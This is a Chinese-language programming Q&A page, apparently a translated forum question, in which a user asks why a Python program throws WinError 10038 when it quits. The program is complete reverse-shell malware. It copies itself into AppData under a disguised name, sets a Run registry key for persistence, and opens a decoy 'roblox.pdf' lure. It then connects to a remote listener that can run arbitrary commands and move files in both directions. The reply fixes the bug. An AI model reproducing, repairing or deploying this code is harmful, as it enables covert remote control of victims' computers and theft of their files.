python-3.x OSError:[WinError 10038]尝试退出时,尝试对不是套接字的东西执行操作

2o7dmzc5  于 2023-06-25  发布在  Python
关注(0)|答案(1)|浏览(215)
import socket
import subprocess
import simplejson
import os
import base64
import time
import shutil
import sys

class Registry:

    def __init__(self):
        self.new_file = os.environ["appdata"] + "\\sysupgrade.exe"
        self.added_file = sys._MEIPASS + "\\roblox.pdf"

    def add_to_registry(self):
        if not os.path.exists(self.new_file):
            shutil.copyfile(sys.executable,self.new_file)
            regedit_command = "reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v upgrade /t REG_SZ /d " + self.new_file
            subprocess.call(regedit_command, shell=True)

    def open_added_file(self):
        subprocess.Popen(self.added_file, shell=True)

    def start_registry(self):
        self.add_to_registry()
        self.open_added_file()
class MySocket:

    def __init__(self,ip,port):
        self.my_connection = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        self.my_connection.connect((ip,port))

    def json_send(self, data):
        json_data = simplejson.dumps(data)
        self.my_connection.send(json_data.encode("utf-8"))

    def json_receive(self):
        json_data = ""
        while True:
            try:
                json_data = json_data + self.my_connection.recv(1024).decode()
                return simplejson.loads(json_data)
            except ValueError:
                continue

    def command_execution(self,command):
        return subprocess.check_output(command, shell=True)

    def execute_cd_command(self,directory):
        os.chdir(directory)
        return "Cd to " + directory

    def read_file(self,path):
        with open(path,"rb") as my_file:
            return base64.b64encode(my_file.read())

    def save_file(self,path,content):
        with open(path,"wb") as my_file:
            my_file.write(base64.b64decode(content))
            return "Upload OK!"

    def start_socket(self):
        while True:
            command = self.json_receive()
            try:
                if command[0] == "quit":
                    self.my_connection.close()
                    exit()
                elif command[0] == "cd" and len(command) > 1 :
                    command_output = self.execute_cd_command(command[1])
                elif command[0] == "download":
                    command_output = self.read_file(command[1])
                elif command[0] == "upload":
                    command_output = self.save_file(command[1],command[2])
                else:
                    command_output = self.command_execution(command)
                
            except Exception:
                command_output = "Error!"

            self.json_send(command_output)
        
        self.my_connection.close()

my_registry = Registry()
my_registry.start_registry()
my_socket_object = MySocket("10.0.2.4",4721)
my_socket_object.start_socket()

我在我的windows中运行这个套接字,在kali linux中运行一个监听这个套接字的程序。当我写quit时,我得到了这个错误。通常我没有得到这个错误,但当我添加类注册表,我开始得到这个错误之前,当我写退出,我可以退出两个程序。有人可以帮助我请?

tyky79it

tyky79it1#

这是您的全局try/exceptexit()函数引发一个异常,您正在捕获该异常,从而停止退出。然后尝试发送错误输出,但失败了。只需将'quit'处理程序中的两行替换为break。让函数清理完成关闭。

相关问题